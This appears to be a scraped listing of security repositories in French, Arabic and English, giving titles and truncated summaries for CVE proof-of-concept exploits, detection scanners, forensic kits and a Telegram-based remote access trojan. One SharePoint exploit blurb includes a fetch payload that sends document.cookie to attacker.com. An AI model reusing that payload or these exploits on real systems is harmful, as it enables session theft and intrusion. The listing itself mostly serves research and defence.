TestRail-files.md5-IAC-scanner

TestRail-files.md5-IAC-scanner Un contrôle d'accès inapproprié dans Gurock TestRail versions Saisir le serveur au format http:\ ou https:\ Le script affichera l'emplacement du serveur/fichier, le code de statut s'il n'est pas 500, et tout mot-clé intéressant trouvé...

ServiceNow-CVE-2025-11449-CVE-2025-11450-Mitigation-Script

سكربت معالجة ثغرات ServiceNow CVE-2025-11449 و CVE-2025-11450 نظرة عامة يكتشف هذا السكربت تلقائيًا ويعالج ثغرات الأمان CVE-2025-11449 و CVE-2025-11450 في وحدات واجهة ServiceNow UI Macros. قد تسمح هذه الثغرات بتنفيذ كود عشوائي في متصفحات المستخدمين عبر روابط مصممة خصيصًا إذا لم يتم تنظيف معاملات...

CVE-2025-32463-POC

CVE-2025-32463 - sudo Local Privilege Escalation PoC ⚠️ This repository contains a Proof of Concept PoC exploit for CVE-2025-32463 Intended only for educational purposes and use in authorized environments. 🧠 About the Vulnerability CVE-2025-32463 is a local privilege escalation vulnerability...

CVE-2026-23723-POC

CVE-2026-23723 PoC - Aide à l'exploitation d'injection SQL authentifiée WeGIA Injection SQL basée sur les erreurs authentifiée dans WeGIA ≤ 3.6.1 GHSA-xfmp-2hf9-gfjp | Avis officiel Auteur original du PoC / Rapporteur : ViniCastro2001 GHSA publié par : nilsonLazarin mainteneur du projet Ce script...

CVE-2026-32201-exploit

نظرة عامة استغلال بايثون لـ CVE-2026-32201 - التحقق غير السليم من الإدخال في Microsoft SharePoint Server، مما يسمح بانتحال الشبكة دون مصادقة C:L/I:L. المتأثر: SharePoint Server 2016 Enterprise، 2019، Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

ncentral-compromise-ioc-triage — Updated!

N-central Compromise IoC Triage Read-only defensive hunting toolkit for post-exploitation artifacts associated with N-able N-central authentication bypass vulnerabilities CVE-2026-18556 and CVE-2026-18577. The PowerShell endpoint scanner flags indicators published by N-able and Huntress; it never...

CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC

CVE-2025-4517 — Python tarfile filter="data" Bypass PoC Path traversal vulnerability in Python's tarfile module affecting versions 3.8.0 through 3.13.1. The filter="data" sandbox — intended to prevent unsafe extractions — can be bypassed by crafting paths that exceed PATHMAX 4096 bytes, causing...

cpanel-cve-2026-41940-ioc

Scanner IOC CVE-2026-41940 Script de détection pour la contournement d'authentification cPanel/WHM CVE-2026-41940 affectant toutes les versions de cPanel après la 11.40. Il s'agit d'une réécriture du script de détection cPanel en amont avec des corrections pour les faux positifs et une corrélatio...

Dirty-Frag-Analysis

Analyse technique approfondie de Dirty Frag CVE-2026-43284 xfrm-ESP / CVE-2026-43500 RxRPC Vulnérabilité d'élévation de privilèges du noyau Linux — Rétro-ingénierie du PoC · Analyse du shellcode · Principe du correctif · Script de détection Aperçu de la vulnérabilité Dirty Frag exploite en chaîne...

Terrminus-CVE-2026-2406

Terminus - إطار عمل الماسح والاستغلال لـ CVE-2026-24061 محرك تحليل أمني لثغرة تجاوز مصادقة Telnet NEWENVIRON وتصعيد الامتيازات CVE-2026-24061. نظرة عامة Terminus هو أداة بحث أمني احترافية مصممة لاختبار الاختراق المصرح به وتقييم الثغرات لـ CVE-2026-24061. تؤثر هذه الثغرة الحرجة على تطبيقات خادم...

CVE-2025-21756

CVE-2025-21756 — Exploitation Lab For educational and authorized security research purposes only. Description CVE-2025-21756 is a use-after-free UAF vulnerability in the Linux kernel's vsock Virtual Socket subsystem, disclosed on February 26, 2025. It allows a local attacker to escalate privilege...

CVE-2022-25012-dvr4-weak-password-encryption — Updated!

This is an improved version of the exploit by deathflash1411 Original exploit: https://www.exploit-db.com/exploits/50130 Improved Features Cracked password is now output as reconstructed password string instead of only output character by character The encrypted password string is now entered as ...

PHP_8.1.x_Exploit

🚀 PHP CVE Autopilot Automated detection & exploitation of critical PHP vulnerabilities CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178 PHP8.1.xExploit.sh is a single‑file, zero‑configuration security assessment tool that automatically discovers vulnerable PHP endpoints and...

CVE-2025-15545

CVE-2025-15545 Information Vendor: TP-Link Vendor's website: TP-Link Model: Archer RE605X Hardware version: RE605X v3.0 Firmware version: RE605XEUV31.1.5 Build 20240905 Firmware download address: TP-Link A chain of vulnerabilities — including the use of hardcoded cryptographic keys and a command...

RAT-via-Telegram

RAT-via-Telegram Notes de Dviros : Outil de post-compromission Windows à distance via Telegram Python 2.7, Créé à l'origine par Ritiek, forké et modifié par mvrozanti puis par moi-même. Le but même de cet outil est de démontrer en tant que « PoC » le contrôle d'une machine déjà compromise, via...

rails-forensics-CVE-2026-66066

rails-forensics-CVE-2026-66066 Tooling and method for answering two questions about a Rails application and CVE-2026-66066, the Active Storage and libvips arbitrary file read known as KindaRails2Shell: 1. Was I vulnerable, and for how long? 2. Was I exploited, and if so, what left the building? T...

CVE-2026-67620-poc — Updated!

CVE-2026-67620 — Flowise SSRF via incomplete cloud-metadata deny-list Oracle OCI + Alibaba Cloud Product: FlowiseAI/Flowise — visual LLM / AI-agent builder 54k ★ Affected versions: ≤ 3.1.4 — confirmed still vulnerable in 3.1.4 , the latest release re-verified 2026-08-06 Vulnerability: Server-Side...

klar

Klar Intégration de Clair et du registre Docker supporte à la fois les API Clair v1 et v3 Klar est un outil simple pour analyser les images stockées dans un registre Docker privé ou public à la recherche de vulnérabilités de sécurité en utilisant Clair https://github.com/coreos/clair. Klar est...

CVE-2026-34197

🚨 CVE-2026-34197 — ثغرة تنفيذ برمجيات عن بُعد RCE خطيرة في Jolokia ضمن Apache ActiveMQ تنفيذ برمجيات عن بُعد بعد المصادقة عبر Jolokia MBeans → تحميل Spring XML عن بُعد → تنفيذ كود في JVM 📖 نظرة عامة CVE-2026-34197 هي ثغرة تنفيذ برمجيات عن بُعد بعد المصادقة ذات خطورة عالية تؤثر على Apache ActiveMQ...

SUSE CVE-2026-84369

SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3 and implemented in plugins/removeScripts.js, removes...